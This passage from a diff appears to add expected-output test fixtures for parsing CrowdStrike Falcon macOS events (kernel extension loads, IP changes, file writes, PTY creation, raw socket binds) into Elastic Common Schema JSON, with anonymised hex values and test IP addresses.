}, + "related": { + "hash": [ + "15043379" + ], + "ip": [ + "216.160.83.56", + "2a02:cf40::1" + ] + }, + "source": { + "address": "2a02:cf40::1", + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": "2a02:cf40::1" + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "BundleID": "a225ed06f58fec3fe735872464c", + "ConfigStateHash": "15043379", + "ContextProcessId": "472050110452005020", + "ContextTimeStamp": "2025-11-03T19:33:14.892Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "86", + "EventOrigin": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "5f985f71b43f37edc3c06b1c67f8acf263c1", + "name": "3304452f50b3f" + }, + "device": { + "id": "c93c143eed37653b54c326dd22e114b8" + }, + "event": { + "action": "load", + "category": [ + "driver" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "5f985f71b43f37edc3c06b1c67f8acf263c1|c93c143eed37653b54c326dd22e114b8|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"KextLoad\",\"ContextTimeStamp\":\"1762198394.892\",\"ConfigStateHash\":\"15043379\",\"ContextProcessId\":\"472050110452005020\",\"ContextThreadId\":\"0\",\"aip\":\"2a02:cf40::1\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"BundleID\":\"a225ed06f58fec3fe735872464c\",\"Entitlements\":\"86\",\"name\":\"3304452f50b3f\",\"EventOrigin\":\"1\",\"id\":\"5f985f71b43f37edc3c06b1c67f8acf263c1\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"c93c143eed37653b54c326dd22e114b8\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "id": "c93c143eed37653b54c326dd22e114b8", + "os": { + "type": "macos" + } + }, + "message": "KextLoad", + "observer": { + "address": [ + "2a02:cf40::1" + ], + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": [ + "2a02:cf40::1" + ], + "serial_number": "c93c143eed37653b54c326dd22e114b8", + "version": "2c8b.4.b224e8a.4f" + }, + "process": { + "entity_id": "472050110452005020", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "15043379" + ], + "ip": [ + "2a02:cf40::1" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "55043379", + "EffectiveTransmissionClass": "2", + "Entitlements": "76", + "EventOrigin": "1", + "InDiscards": "0", + "InErrors": "0", + "InMulticastPkts": "36300760", + "InOctets": "5401980300", + "InUcastPkts": "80890102", + "InUnknownProtos": "0", + "InterfaceAlias": "445", + "InterfaceIndex": 8, + "InterfaceType": "6", + "LocalAddressIP4": [ + "81.2.69.142" + ], + "LocalIpAddressPipelineSource": "6", + "NetLuidIndex": 0, + "OutErrors": "0", + "OutMulticastPkts": "0", + "OutOctets": "3000000600", + "OutUcastPkts": "46360000", + "PhysicalAddressLength": 6, + "PrefixLength": "52", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "f0d3d878ef1a02ab86680075a0eda18b56e9", + "name": "1b1a40a16643c4d9d9ad13" + }, + "device": { + "id": "3bec845649acaaa1eb41d1ad4a804a38" + }, + "event": { + "action": "LocalIpAddressIP4", + "category": [ + "configuration", + "host" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "f0d3d878ef1a02ab86680075a0eda18b56e9|3bec845649acaaa1eb41d1ad4a804a38|4092825518eaf67377a6e4492ae44577", + "kind": "state", + "original": "{\"OutOctets\":\"3000000600\",\"CreationTimeStamp\":\"-11724671741.249\",\"aip\":\"81.2.69.192\",\"OutMulticastPkts\":\"0\",\"InErrors\":\"0\",\"InterfaceAlias\":\"445\",\"InDiscards\":\"0\",\"InterfaceIndex\":\"8\",\"event_platform\":\"Mac\",\"InterfaceType\":\"6\",\"EventOrigin\":\"1\",\"id\":\"f0d3d878ef1a02ab86680075a0eda18b56e9\",\"PhysicalAddressLength\":\"6\",\"InUcastPkts\":\"80890102\",\"LocalIpAddressPipelineSource\":\"6\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"LocalAddressIP4\":\"81.2.69.142\",\"event_simpleName\":\"LocalIpAddressIP4\",\"ConfigStateHash\":\"55043379\",\"PhysicalAddress\":\"b9-55-b4-6e-3e-c8\",\"PrefixLength\":\"52\",\"OutErrors\":\"0\",\"InUnknownProtos\":\"0\",\"OutUcastPkts\":\"46360000\",\"InMulticastPkts\":\"36300760\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"InOctets\":\"5401980300\",\"NetLuidIndex\":\"0\",\"Entitlements\":\"76\",\"name\":\"1b1a40a16643c4d9d9ad13\",\"aid\":\"3bec845649acaaa1eb41d1ad4a804a38\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "3bec845649acaaa1eb41d1ad4a804a38", + "os": { + "type": "macos" + } + }, + "message": "LocalIpAddressIP4", + "observer": { + "address": [ + "81.2.69.192" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.192" + ], + "serial_number": "3bec845649acaaa1eb41d1ad4a804a38", + "version": "2c8b.4.b224e8a.4f" + }, + "related": { + "hash": [ + "55043379" + ], + "ip": [ + "81.2.69.192", + "81.2.69.142" + ] + }, + "source": { + "address": "81.2.69.142", + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": "81.2.69.142", + "mac": "B9-55-B4-6E-3E-C8" + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "65043379", + "EffectiveTransmissionClass": "3", + "Entitlements": "86", + "EventOrigin": "1", + "InterfaceIndex": 8, + "LocalAddressIP4": [ + "216.160.83.56" + ], + "LocalIpAddressPipelineSource": "6", + "NetLuidIndex": 0, + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "a885c0aff4e59afa62b4cfc45dd233f79546", + "name": "4a33a844314cf727f26cb81df45b9" + }, + "device": { + "id": "3bec845649acaaa1eb41d1ad4a804a38" + }, + "event": { + "action": "LocalIpAddressRemovedIP4", + "category": [ + "configuration", + "host" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "a885c0aff4e59afa62b4cfc45dd233f79546|3bec845649acaaa1eb41d1ad4a804a38|4092825518eaf67377a6e4492ae44577", + "kind": "state", + "original": "{\"LocalAddressIP4\":\"216.160.83.56\",\"event_simpleName\":\"LocalIpAddressRemovedIP4\",\"ConfigStateHash\":\"65043379\",\"aip\":\"81.2.69.142\",\"InterfaceIndex\":\"8\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"NetLuidIndex\":\"0\",\"Entitlements\":\"86\",\"name\":\"4a33a844314cf727f26cb81df45b9\",\"EventOrigin\":\"1\",\"id\":\"a885c0aff4e59afa62b4cfc45dd233f79546\",\"LocalIpAddressPipelineSource\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"3bec845649acaaa1eb41d1ad4a804a38\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "3bec845649acaaa1eb41d1ad4a804a38", + "os": { + "type": "macos" + } + }, + "message": "LocalIpAddressRemovedIP4", + "observer": { + "address": [ + "81.2.69.142" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.142" + ], + "serial_number": "3bec845649acaaa1eb41d1ad4a804a38", + "version": "2c8b.4.b224e8a.4f" + }, + "related": { + "hash": [ + "65043379" + ], + "ip": [ + "81.2.69.142", + "216.160.83.56" + ] + }, + "source": { + "address": "216.160.83.56", + "as": { + "number": 209 + }, + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": "216.160.83.56" + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "BoundingLimitCount": 10, + "BoundingLimitDuration": "4486640", + "ConfigStateHash": "25043379", + "ContextBaseFileName": "9a93b1357a69e905c9a", + "ContextProcessId": "704802000705084000", + "ContextTimeStamp": "2025-06-05T07:31:09.141Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "26", + "EventOrigin": "1", + "FileCategory": "6", + "IsOnRemovableDisk": "0", + "MachOSubType": "6", + "SHA256HashData": "2b364b472958e7471972b9439aa61e8381a54aa38875d77e0462cc7e91137b63", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "1a8f053397e4f0d36a740347ced0ee4eaad4", + "name": "1148999d786555f3e786e" + }, + "device": { + "id": "9ea510e4d87c4988253c7355515a7081" + }, + "event": { + "action": "MachOFileWritten", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "1a8f053397e4f0d36a740347ced0ee4eaad4|9ea510e4d87c4988253c7355515a7081|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ContextBaseFileName\":\"9a93b1357a69e905c9a\",\"FileCategory\":\"6\",\"MachOSubType\":\"6\",\"Size\":\"3000605\",\"ContextThreadId\":\"0\",\"aip\":\"89.160.20.112\",\"BoundingLimitCount\":\"10\",\"FileIdentifier\":\"a66e33e0aa512356892598753df4b16fa84b3ed00e65ead9\",\"event_platform\":\"Mac\",\"EventOrigin\":\"1\",\"id\":\"1a8f053397e4f0d36a740347ced0ee4eaad4\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"MachOFileWritten\",\"ContextTimeStamp\":\"1749108669.141\",\"UserName\":\"4813\",\"ConfigStateHash\":\"25043379\",\"ContextProcessId\":\"704802000705084000\",\"SHA256HashData\":\"2b364b472958e7471972b9439aa61e8381a54aa38875d77e0462cc7e91137b63\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"IsOnRemovableDisk\":\"0\",\"BoundingLimitDuration\":\"4486640\",\"Entitlements\":\"26\",\"name\":\"1148999d786555f3e786e\",\"aid\":\"9ea510e4d87c4988253c7355515a7081\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"/dc20b3d/7ef6ff25/baab5e05/baab5e05.app/437aea62/cafd6b72/22ded4e2.framework/f89ea270/5/22ded4e2\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "file": { + "directory": "/dc20b3d/7ef6ff25/baab5e05/baab5e05.app/437aea62/cafd6b72/22ded4e2.framework/f89ea270/5", + "hash": { + "sha256": "2b364b472958e7471972b9439aa61e8381a54aa38875d77e0462cc7e91137b63" + }, + "inode": "a66e33e0aa512356892598753df4b16fa84b3ed00e65ead9", + "name": "22ded4e2", + "path": "/dc20b3d/7ef6ff25/baab5e05/baab5e05.app/437aea62/cafd6b72/22ded4e2.framework/f89ea270/5/22ded4e2", + "size": 3000605, + "type": "file" + }, + "host": { + "id": "9ea510e4d87c4988253c7355515a7081", + "os": { + "type": "macos" + } + }, + "message": "MachOFileWritten", + "observer": { + "address": [ + "89.160.20.112" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.112" + ], + "serial_number": "9ea510e4d87c4988253c7355515a7081", + "version": "2c8b.4.b224e8a.4f" + }, + "process": { + "entity_id": "704802000705084000", + "name": "9a93b1357a69e905c9a", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "2b364b472958e7471972b9439aa61e8381a54aa38875d77e0462cc7e91137b63", + "25043379" + ], + "ip": [ + "89.160.20.112" + ], + "user": [ + "4813" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "4813" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "BoundedCount": 4, + "ConfigStateHash": "75043379", + "EffectiveTransmissionClass": "2", + "Entitlements": "16", + "EventOrigin": "45", + "ProcessCount": 5, + "SHA256HashData": "b9215572dbd02a4088d652c6b02996cbd84778f361b74bd790eed52d01163a5d", + "SuppressType": "2", + "Timeout": 284, + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "9b9091551ef260bfbe2fcbaa991fd216578d", + "name": "53731de338efc268aed79822" + }, + "device": { + "id": "aff97f8b915352339afe79c5a16d76b3" + }, + "event": { + "action": "ProcessRollup2Stats", + "category": [ + "process" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "9b9091551ef260bfbe2fcbaa991fd216578d|aff97f8b915352339afe79c5a16d76b3|4092825518eaf67377a6e4492ae44577", + "kind": "state", + "original": "{\"event_simpleName\":\"ProcessRollup2Stats\",\"ConfigStateHash\":\"75043379\",\"Timeout\":\"284\",\"ParentProcessId\":\"0\",\"aip\":\"81.2.69.142\",\"SuppressType\":\"2\",\"SHA256HashData\":\"b9215572dbd02a4088d652c6b02996cbd84778f361b74bd790eed52d01163a5d\",\"ProcessCount\":\"5\",\"BoundedCount\":\"4\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"UID\":\"60\",\"event_platform\":\"Mac\",\"CommandLine\":\"fc5353cb4801d9a102fce841618abe6fa84be2defb6649a078f21f228667ad8f -9 a0b52d20 -0 a5f99916883744114 -c 9c11c52b372e36e77b8fd37dd\",\"Entitlements\":\"16\",\"name\":\"53731de338efc268aed79822\",\"EventOrigin\":\"45\",\"id\":\"9b9091551ef260bfbe2fcbaa991fd216578d\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"aff97f8b915352339afe79c5a16d76b3\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "unknown", + "type": [ + "info" + ] + }, + "host": { + "id": "aff97f8b915352339afe79c5a16d76b3", + "os": { + "type": "macos" + } + }, + "message": "ProcessRollup2Stats", + "observer": { + "address": [ + "81.2.69.142" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.142" + ], + "serial_number": "aff97f8b915352339afe79c5a16d76b3", + "version": "2c8b.4.b224e8a.4f" + }, + "process": { + "args": [ + "fc5353cb4801d9a102fce841618abe6fa84be2defb6649a078f21f228667ad8f", + "-9", + "a0b52d20", + "-0", + "a5f99916883744114", + "-c", + "9c11c52b372e36e77b8fd37dd" + ], + "args_count": 7, + "command_line": "fc5353cb4801d9a102fce841618abe6fa84be2defb6649a078f21f228667ad8f -9 a0b52d20 -0 a5f99916883744114 -c 9c11c52b372e36e77b8fd37dd", + "hash": { + "sha256": "b9215572dbd02a4088d652c6b02996cbd84778f361b74bd790eed52d01163a5d" + }, + "parent": { + "entity_id": "0" + } + }, + "related": { + "hash": [ + "b9215572dbd02a4088d652c6b02996cbd84778f361b74bd790eed52d01163a5d", + "75043379" + ], + "ip": [ + "81.2.69.142" + ], + "user": [ + "60" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "60" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "85043379", + "ContextProcessId": "601020521600005482", + "ContextTimeStamp": "2025-05-30T16:00:09.371Z", + "DeviceId": "506006027", + "EffectiveTransmissionClass": "2", + "Entitlements": "96", + "EventOrigin": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "1653ccad055c131c79fb49ce013cfa05fde1", + "name": "a3f9634e8f5cb2a" + }, + "device": { + "id": "506006027" + }, + "event": { + "action": "PtyCreated", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "1653ccad055c131c79fb49ce013cfa05fde1|0883f49bee1d86ce81176e6d89766adc|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"PtyCreated\",\"ContextTimeStamp\":\"1748620809.371\",\"ConfigStateHash\":\"85043379\",\"ContextProcessId\":\"601020521600005482\",\"DeviceId\":\"506006027\",\"ContextThreadId\":\"0\",\"aip\":\"89.160.20.112\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"CommandLine\":\"8fb203f170d167a8910bfee40bd5f67ab18c470b385a64208bb 7521ca220a8ae6027c0205ba2b01c82c ce793a a8f34ba10921c4 6b9396fe89508a308632dca4bb879ce31fc550496 48c7277892b8 0f5f4216848e1e3804905fdfdc7 916ab4f4edd7894df1edbf2c7a4608e50e5ee6b085e9dc406 b42ddbaecab521 dc2356cbcb5b9c79939eead1793ef5f85b215c311422f f68dd32e713737d9 44ac9316adc24687dbacafca20b954bcf3d33dcd4de a59c027bb0a7c05d76750e3de7f569a7758ace084 04ee11a4fa1078efa8abad229976f29bcd52d351f9 4b01829a2b8c908ab96d79a2b0e1d5acb806551 90ddec41d0051638b5073f6601dcaded1500ac90f4da0ad a59c73da5938ef c1d0c94a2886b6504e539132eced46a5866b1ea8b6372b50a86fcc984a7242a5 96b1d3ac35ab026db9ccc4c8614598a00e449f47c6eb2c49bfcc1e618eacc36e f965c005547d78aa493d5422ecf3b73e4a5cf0958292f6be67dd8a515adf2e97 315ef7be6a1848b2682301660\",\"ImageFileName\":\"/98e33b0f/2c014f.app/437aea62/cafd6b72/7a4c386a.app/437aea62/ba3cb/7a4c386a\",\"Entitlements\":\"96\",\"name\":\"a3f9634e8f5cb2a\",\"EventOrigin\":\"1\",\"id\":\"1653ccad055c131c79fb49ce013cfa05fde1\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"0883f49bee1d86ce81176e6d89766adc\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "host": { + "id": "0883f49bee1d86ce81176e6d89766adc", + "os": { + "type": "macos" + } + }, + "message": "PtyCreated", + "observer": { + "address": [ + "89.160.20.112" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.112" + ], + "serial_number": "0883f49bee1d86ce81176e6d89766adc", + "version": "2c8b.4.b224e8a.4f" + }, + "process": { + "args": [ + "8fb203f170d167a8910bfee40bd5f67ab18c470b385a64208bb", + "7521ca220a8ae6027c0205ba2b01c82c", + "ce793a", + "a8f34ba10921c4", + "6b9396fe89508a308632dca4bb879ce31fc550496", + "48c7277892b8", + "0f5f4216848e1e3804905fdfdc7", + "916ab4f4edd7894df1edbf2c7a4608e50e5ee6b085e9dc406", + "b42ddbaecab521", + "dc2356cbcb5b9c79939eead1793ef5f85b215c311422f", + "f68dd32e713737d9", + "44ac9316adc24687dbacafca20b954bcf3d33dcd4de", + "a59c027bb0a7c05d76750e3de7f569a7758ace084", + "04ee11a4fa1078efa8abad229976f29bcd52d351f9", + "4b01829a2b8c908ab96d79a2b0e1d5acb806551", + "90ddec41d0051638b5073f6601dcaded1500ac90f4da0ad", + "a59c73da5938ef", + "c1d0c94a2886b6504e539132eced46a5866b1ea8b6372b50a86fcc984a7242a5", + "96b1d3ac35ab026db9ccc4c8614598a00e449f47c6eb2c49bfcc1e618eacc36e", + "f965c005547d78aa493d5422ecf3b73e4a5cf0958292f6be67dd8a515adf2e97", + "315ef7be6a1848b2682301660" + ], + "args_count": 21, + "command_line": "8fb203f170d167a8910bfee40bd5f67ab18c470b385a64208bb 7521ca220a8ae6027c0205ba2b01c82c ce793a a8f34ba10921c4 6b9396fe89508a308632dca4bb879ce31fc550496 48c7277892b8 0f5f4216848e1e3804905fdfdc7 916ab4f4edd7894df1edbf2c7a4608e50e5ee6b085e9dc406 b42ddbaecab521 dc2356cbcb5b9c79939eead1793ef5f85b215c311422f f68dd32e713737d9 44ac9316adc24687dbacafca20b954bcf3d33dcd4de a59c027bb0a7c05d76750e3de7f569a7758ace084 04ee11a4fa1078efa8abad229976f29bcd52d351f9 4b01829a2b8c908ab96d79a2b0e1d5acb806551 90ddec41d0051638b5073f6601dcaded1500ac90f4da0ad a59c73da5938ef c1d0c94a2886b6504e539132eced46a5866b1ea8b6372b50a86fcc984a7242a5 96b1d3ac35ab026db9ccc4c8614598a00e449f47c6eb2c49bfcc1e618eacc36e f965c005547d78aa493d5422ecf3b73e4a5cf0958292f6be67dd8a515adf2e97 315ef7be6a1848b2682301660", + "entity_id": "601020521600005482", + "executable": "/98e33b0f/2c014f.app/437aea62/cafd6b72/7a4c386a.app/437aea62/ba3cb/7a4c386a", + "name": "7a4c386a", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "85043379" + ], + "ip": [ + "89.160.20.112" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "55043379", + "ConnectionFlags": "0", + "ContextProcessId": "148005106018043800", + "ContextTimeStamp": "2025-10-05T22:28:06.546Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "86", + "EventOrigin": "1", + "InContext": "0", + "LocalAddressIP4": [ + "81.2.69.144" + ], + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "c842b689fbd78207d195d8c17e3a04a000f6", + "name": "2552bb1c58ae3899" + }, + "destination": { + "address": "89.160.20.128", + "as": { + "number": 29518, + "organization": { + "name": "Bredband2 AB" + } + }, + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": "89.160.20.128", + "port": 260 + }, + "device": { + "id": "6de60f31dcfac7d0eac699802285aa4c" + }, + "event": { + "action": "RawBindIP4", + "category": [ + "network" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "c842b689fbd78207d195d8c17e3a04a000f6|6de60f31dcfac7d0eac699802285aa4c|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"LocalAddressIP4\":\"81.2.69.144\",\"event_simpleName\":\"RawBindIP4\",\"ContextTimeStamp\":\"1759703286.546\",\"ConfigStateHash\":\"55043379\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"148005106018043800\",\"RemotePort\":\"260\",\"aip\":\"2a02:cf40::2\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"LocalPort\":\"260\",\"Entitlements\":\"86\",\"name\":\"2552bb1c58ae3899\",\"EventOrigin\":\"1\",\"id\":\"c842b689fbd78207d195d8c17e3a04a000f6\",\"Protocol\":\"45\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"6de60f31dcfac7d0eac699802285aa4c\",\"RemoteAddressIP4\":\"89.160.20.128\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "start", + "connection" + ] + }, + "host": { + "id": "6de60f31dcfac7d0eac699802285aa4c", + "os": { + "type": "macos" + } + }, + "message": "RawBindIP4", + "network": { + "community_id": "1:4B7h9ITJ4/nPr0yxU/bsOi56RcI=", + "direction": "unknown", + "iana_number": "45" + }, + "observer": { + "address": [ + "2a02:cf40::2" + ], + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": [ + "2a02:cf40::2" + ], + "serial_number": "6de60f31dcfac7d0eac699802285aa4c", + "version": "2c8b.4.b224e8a.4f" + }, + "process": { + "entity_id": "148005106018043800" + }, + "related": { + "hash": [ + "55043379" + ], + "ip": [ + "2a02:cf40::2", + "81.2.69.144", + "89.160.20.128" + ] + }, + "source": { + "address": "81.2.69.144", + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": "81.2.69.144", + "port": 260 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "75043379", + "ConnectionFlags": "0", + "ContextProcessId": "525000013203000905", + "ContextTimeStamp": "2025-10-19T12:00:04.560Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "26", + "EventOrigin": "1", + "InContext": "0", + "LocalAddressIP6": [ + "2a02:cf40::1" + ], + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "2d87ac61a22522847bc2143b50b4aac12858", + "name": "6be29847ad234f89" + }, + "destination": { + "address": "2a02:cf40::1", + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": "2a02:cf40::1", + "port": 60285 + }, + "device": { + "id": "bfae1ce346c864e642355116756472d6" + }, + "event": { + "action": "RawBindIP6", + "category": [ + "network" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "2d87ac61a22522847bc2143b50b4aac12858|bfae1ce346c864e642355116756472d6|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"RawBindIP6\",\"ContextTimeStamp\":\"1760875204.560\",\"LocalAddressIP6\":\"2a02:cf40::1\",\"RemoteAddressIP6\":\"2a02:cf40::1\",\"ConfigStateHash\":\"75043379\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"525000013203000905\",\"RemotePort\":\"60285\",\"aip\":\"2a02:cf40::1\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"LocalPort\":\"28\",\"Entitlements\":\"26\",\"name\":\"6be29847ad234f89\",\"EventOrigin\":\"1\",\"id\":\"2d87ac61a22522847bc2143b50b4aac12858\",\"Protocol\":\"45\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"bfae1ce346c864e642355116756472d6\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "start", + "connection" + ] + }, + "host": { + "id": "bfae1ce346c864e642355116756472d6", + "os": { + "type": "macos" + } + }, + "message": "RawBindIP6", + "network": { + "community_id": "1:wxOxAXZsC7GKYyc7uRbvS69m/yQ=", + "direction": "unknown", + "iana_number": "45" + }, + "observer": { + "address": [ + "2a02:cf40::1" + ], + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": [ + "2a02:cf40::1" + ], + "serial_number": "bfae1ce346c864e642355116756472d6", + "version": "2c8b.4.b224e8a.4f" + }, + "process": { + "entity_id": "525000013203000905" + }, + "related": { + "hash": [ + "75043379" + ], + "ip": [ + "2a02:cf40::1" + ] + }, + "source": { + "address": "2a02:cf40::1", + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": "2a02:cf40::1", + "port": 28 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "600000970", + "ContentSHA256HashData": "9d168f68bad9f1ef8371bab7c5d543e2fa0939b3dadb5aa7dd9b0ea8995a29f7", + "ContextProcessId": "516365064008244070", + "EffectiveTransmissionClass": "2", + "Entitlements": "56", + "EventOrigin": "1", + "OriginalContentLength": "100", + "ScriptContent": "77bafa9 -0 ae17b9a73 3d0cf8 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c 4 ae17b9a73 0cf6 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c", + "ScriptContentName": "/51a/89", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "18d9d6cd7e98ee9ab79dffed0e5f9e3357b0", + "name": "0a1beccbcea40ac2468a3ee78b" + }, + "device": { + "id": "c7fe43754f5b6ebfa566ef25e9ac6ecc" + }, + "event": { + "action": "ScriptControlScanInfo", + "category": [ + "malware", + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "18d9d6cd7e98ee9ab79dffed0e5f9e3357b0|c7fe43754f5b6ebfa566ef25e9ac6ecc|4092825518eaf67377a6e4492ae44577", + "kind": "state", + "original": 